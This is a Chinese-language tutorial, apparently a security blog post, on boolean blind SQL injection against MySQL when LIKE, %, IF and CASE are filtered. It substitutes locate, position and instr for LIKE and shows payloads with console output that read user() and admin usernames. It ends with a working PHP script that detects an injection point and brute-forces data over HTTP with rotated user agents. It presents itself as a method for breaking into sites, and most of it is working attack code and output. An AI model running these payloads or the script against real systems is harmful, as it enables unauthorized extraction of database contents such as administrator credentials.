0x00 概要

日站过程中有过滤是很正常的事情.

本方法适用于 过滤了 like, %, if, CASE

也就是 like 注入无法正常使用,但是页面又没有回显的情况

like 替换方法

  1. locate
  2. position
  3. instr

0x01 locate, position, instr 函数注入时会遇到的问题

虽然说是替代但是其实没有那么的好用,因为他们都是左右匹配的QAQ

这会导致匹配类似 a1b2a1a2 这样的数据不准确的问题

例如: 我输入a1匹配为true,我输入a1a匹配一样会为真,这会导致一个问题就是我们不知道第一位的数据是怎么样的

所以我想出了两个解决方案

  1. 使用 substring 函数之类的方法
  2. 第二种是类似递归的方式,先得出要获得的数据的长度,然后利用循环慢慢递归爆破

第一种就不解释了,能用 substring之类的截断函数 其实就与普通的布尔盲注是一样的

第二种方法我就会文章的最后写个简单的例子

0x02 测试数据

  1. mysql> select user();
  2. +----------------+
  3. | user() |
  4. +----------------+
  5. | root@localhost |
  6. +----------------+
  7. 1 row in set (0.00 sec)
  1. mysql> select current_user;
  2. +----------------+
  3. | current_user |
  4. +----------------+
  5. | root@localhost |
  6. +----------------+
  7. 1 row in set (0.00 sec)
  1. mysql> select * from tdb_goods where goods_id=1;
  2. +----------+----------------------------+------------+------------+-------------+---------+------------+
  3. | goods_id | goods_name | goods_cate | brand_name | goods_price | is_show | is_saleoff |
  4. +----------+----------------------------+------------+------------+-------------+---------+------------+
  5. | 1 | R510VC 15.6英寸笔记本 | 笔记本 | 华硕 | 3399.000 | 1 | 0 |
  6. +----------+----------------------------+------------+------------+-------------+---------+------------+
  7. 1 row in set (0.00 sec)

0x03 substring 函数

截取特定长度的字符串

用法:

  • substring(str, pos),即:substring(被截取字符串, 从第几位开始截取)
    substring(str, pos, length)
  • 即:substring(被截取字符串,从第几位开始截取,截取长度)

0x04 locate 函数

记忆方式: select * from test where test=1 and locate(判断条件, 表达式)>0

0x04.1 查询user()数据

  1. # 查询 user() 前两位数据-正确时
  2. # 正确时页面内容不会变
  3. # 表示user()函数,前两位数据为: ro
  4. mysql> select * from test where test=1 and locate('ro', substring(user(),1,2))>0;
  5. +----+------+-----+---------+
  6. | id | test | map | content |
  7. +----+------+-----+---------+
  8. | 1 | 1 | 1 | 0 |
  9. +----+------+-----+---------+
  10. 1 row in set
  1. # 查询 user() 前两位数据-错误
  2. # 错误时页面数据会返回为空
  3. mysql> select * from test where test=1 and locate('r1', substring(user(),1,2))>0;
  4. Empty set

0x04.2 查询数据库表数据

  1. # 读取某库某表某字段前两位数据-正确时
  2. # 表示test表,第一条数据username字段,前两个字为: ad
  3. mysql> select * from test where test=1 and locate('ad', substring((SELECT username FROM test.tdb_admin limit 0,1),1,2))>0;
  4. +----+------+-----+---------+
  5. | id | test | map | content |
  6. +----+------+-----+---------+
  7. | 1 | 1 | 1 | 0 |
  8. +----+------+-----+---------+
  9. 1 row in set
  1. # 读取某库某表某字段前两位数据-错误时
  2. mysql> select * from test where test=1 and locate('a1', substring((SELECT username FROM test.tdb_admin limit 0,1),1,2))>0;
  3. Empty set

0x05 position 函数

记忆方式: select * from test where test=1 and position(判断条件 IN 表达式)

0x05.1 查询user()数据

  1. # 查询 user() 前两位数据-正确时
  2. # 正确时页面内容不会变
  3. # 表示user()函数,前两位数据为: ro
  4. mysql> select * from test where test=1 and position('ro' IN substring(user(),1,2));
  5. +----+------+-----+---------+
  6. | id | test | map | content |
  7. +----+------+-----+---------+
  8. | 1 | 1 | 1 | 0 |
  9. +----+------+-----+---------+
  10. 1 row in set
  1. # 查询 user() 前两位数据-错误
  2. # 错误时页面数据会返回为空
  3. mysql> select * from test where test=1 and position('ro1' IN substring(user(),1,2));
  4. Empty set

0x05.2 查询数据库表数据

  1. # 读取某库某表某字段前两位数据-正确时
  2. # 表示test表,第一条数据username字段,前两个字为: ad
  3. mysql> select * from test where test=1 and position('ad' IN substring((SELECT username FROM test.tdb_admin limit 0,1),1,2));
  4. +----+------+-----+---------+
  5. | id | test | map | content |
  6. +----+------+-----+---------+
  7. | 1 | 1 | 1 | 0 |
  8. +----+------+-----+---------+
  9. 1 row in set
  1. # 读取某库某表某字段前两位数据-错误时
  2. mysql> select * from test where test=1 and position('a1' IN substring((SELECT username FROM test.tdb_admin limit 0,1),1,2));
  3. Empty set

0x06 instr 函数

记忆方式: select * from test where test=1 and instr(表达式, 判断条件)>0

0x06.1 查询user()数据

  1. # 查询 user() 前两位数据-正确时
  2. # 正确时页面内容不会变
  3. # 表示user()函数,前两位数据为: ro
  4. mysql> select * from test where test=1 and instr(substring(user(),1,2), 'ro')>0;
  5. +----+------+-----+---------+
  6. | id | test | map | content |
  7. +----+------+-----+---------+
  8. | 1 | 1 | 1 | 0 |
  9. +----+------+-----+---------+
  10. 1 row in set
  1. # 查询 user() 前两位数据-错误
  2. # 错误时页面数据会返回为空
  3. mysql> select * from test where test=1 and instr(substring(user(),1,2), 'roa')>0;
  4. Empty set

0x06.2 查询数据库表数据

  1. # 读取某库某表某字段前两位数据-正确时
  2. # 表示test表,第一条数据username字段,前两个字为: ad
  3. mysql> select * from test where test=1 and instr(substring((SELECT username FROM test.tdb_admin limit 0,1),1,2), 'ad')>0;
  4. +----+------+-----+---------+
  5. | id | test | map | content |
  6. +----+------+-----+---------+
  7. | 1 | 1 | 1 | 0 |
  8. +----+------+-----+---------+
  9. 1 row in set
  1. # 读取某库某表某字段前两位数据-错误时
  2. mysql> select * from test where test=1 and instr(substring((SELECT username FROM test.tdb_admin limit 0,1),1,2), 'adc')>0;
  3. Empty set

0x07 脚本思路讲解

例如 user() = root@localhost

先得出长度: 14

然后脚本进入死循环

先向右填充爆破一直到爆破不出来为止,然后在开始向左爆破

  • 第一次: select * from test where test=1 and locate(BINARY ‘o’, user())>0; 因为user() 中有带o的所以为真,判断爆破成功的长度是否为14
  • 第二次: select * from test where test=1 and locate(BINARY ‘ot’, user())>0; 因为user() 中有带ot的所以为真,判断爆破成功的长度是否为14
  • 第x次: select * from test where test=1 and locate(BINARY ‘ot’, user())>0; 因为user() 中有带ot@localhost的所以为真,判断爆破成功的长度是否为14,这时爆破会发现还差2个,然后只需要向左爆破一下即可

0x08 脚本思路例子-爆破 user()

  1. <?php
  2. class SqlCurl
  3. {
  4. public function curlRequest($url, $post = [], $return_header = false, $cookie = '', $referurl = '')
  5. {
  6. if (!$referurl) {
  7. $referurl = 'https://www.baidu.com';
  8. }
  9. $header = array(
  10. 'Content-Type:application/x-www-form-urlencoded',
  11. 'X-Requested-With:XMLHttpRequest',
  12. );
  13. $curl = curl_init();
  14. curl_setopt($curl, CURLOPT_URL, $url);
  15. //随机浏览器useragent
  16. curl_setopt($curl, CURLOPT_USERAGENT, $this->agentArry());
  17. curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
  18. curl_setopt($curl, CURLOPT_AUTOREFERER, 1);
  19. curl_setopt($curl, CURLOPT_REFERER, $referurl);
  20. curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
  21. if ($post) {
  22. curl_setopt($curl, CURLOPT_POST, 1);
  23. curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($post));
  24. }
  25. if ($cookie) {
  26. curl_setopt($curl, CURLOPT_COOKIE, $cookie);
  27. }
  28. curl_setopt($curl, CURLOPT_TIMEOUT, 10);
  29. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  30. $data = curl_exec($curl);
  31. if (curl_errno($curl)) {
  32. return curl_error($curl);
  33. }
  34. $header_data = curl_getinfo($curl);
  35. if ($return_header) {
  36. return $header_data;
  37. }
  38. curl_close($curl);
  39. return $data;
  40. }
  41. private function getIp()
  42. {
  43. return mt_rand(11, 191) . "." . mt_rand(0, 240) . "." . mt_rand(1, 240) . "." . mt_rand(1, 240);
  44. }
  45. private function agentArry()
  46. {
  47. $agentarry = [
  48. //PC端的UserAgent
  49. "safari 5.1 – MAC" => "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  50. "safari 5.1 – Windows" => "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
  51. ];
  52. return $agentarry[array_rand($agentarry, 1)];
  53. }
  54. }
  55. // 注入点
  56. $url = 'http://127.0.0.1/test/test_sql.php?id=1';
  57. $result = (new SqlCurl())->curlRequest($url, [], true);
  58. if (isset($result['size_download']) && !empty($result['size_download'])) {
  59. $result_size = $result['size_download'];
  60. } else {
  61. $result_size = 0;
  62. }
  63. $sql_test_result_1 = (new SqlCurl())->curlRequest($url.urlencode('\' and 1=1 -- a'), [], true);
  64. $sql_test_result_2 = (new SqlCurl())->curlRequest($url.urlencode('\' and 1=2 -- a'), [], true);
  65. if ($result_size != $sql_test_result_1['size_download'] || $result_size === $sql_test_result_2['size_download']) {
  66. echo '不是注入';
  67. exit;
  68. }
  69. // 查询 user() 长度
  70. $i=0;
  71. $user_size = 0;
  72. while (true) {
  73. $sql_test_result_3 = (new SqlCurl())->curlRequest($url.urlencode('\' and length(user()) ='.$i.'-- a'), [], true);
  74. if ($sql_test_result_3['size_download'] === $result_size) {
  75. $user_size = $i;
  76. break;
  77. }
  78. $i++;
  79. }
  80. echo 'user()长度: '.$user_size.PHP_EOL;
  81. // 查询 user() 内容
  82. $payload = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~';
  83. $payload_count = strlen($payload);
  84. $user_data = '';
  85. while (true) {
  86. if (strlen($user_data) !== $user_size) {
  87. for ($j=0; $j < $payload_count; $j++) {
  88. // 向右爆破
  89. $sql_test_result_4 = (new SqlCurl())->curlRequest($url.urlencode('\' and locate(BINARY \''.$user_data.$payload[$j].'\', user())>0 -- a'), [], true);
  90. if ($sql_test_result_4['size_download'] === $result_size) {
  91. $user_data .= $payload[$j];
  92. echo $user_data.PHP_EOL;
  93. continue;
  94. } else {
  95. // 向左爆破
  96. $sql_test_result_5 = (new SqlCurl())->curlRequest($url.urlencode('\' and locate(BINARY \''.$payload[$j].$user_data.'\', user())>0 -- a'), [], true);
  97. if ($sql_test_result_5['size_download'] === $result_size) {
  98. $user_data = $payload[$j].$user_data;
  99. echo $user_data.PHP_EOL;
  100. continue;
  101. }
  102. }
  103. }
  104. } else {
  105. break;
  106. }
  107. }
  108. echo '执行完成'.PHP_EOL;
  109. echo 'user()长度: '.$user_size.PHP_EOL;
  110. echo 'user()内容: '.$user_data.PHP_EOL;

注意: mysql是不区分大小写的,所以我在写例子脚本时 添加了BINARY关键字使搜索区分大小写

1.png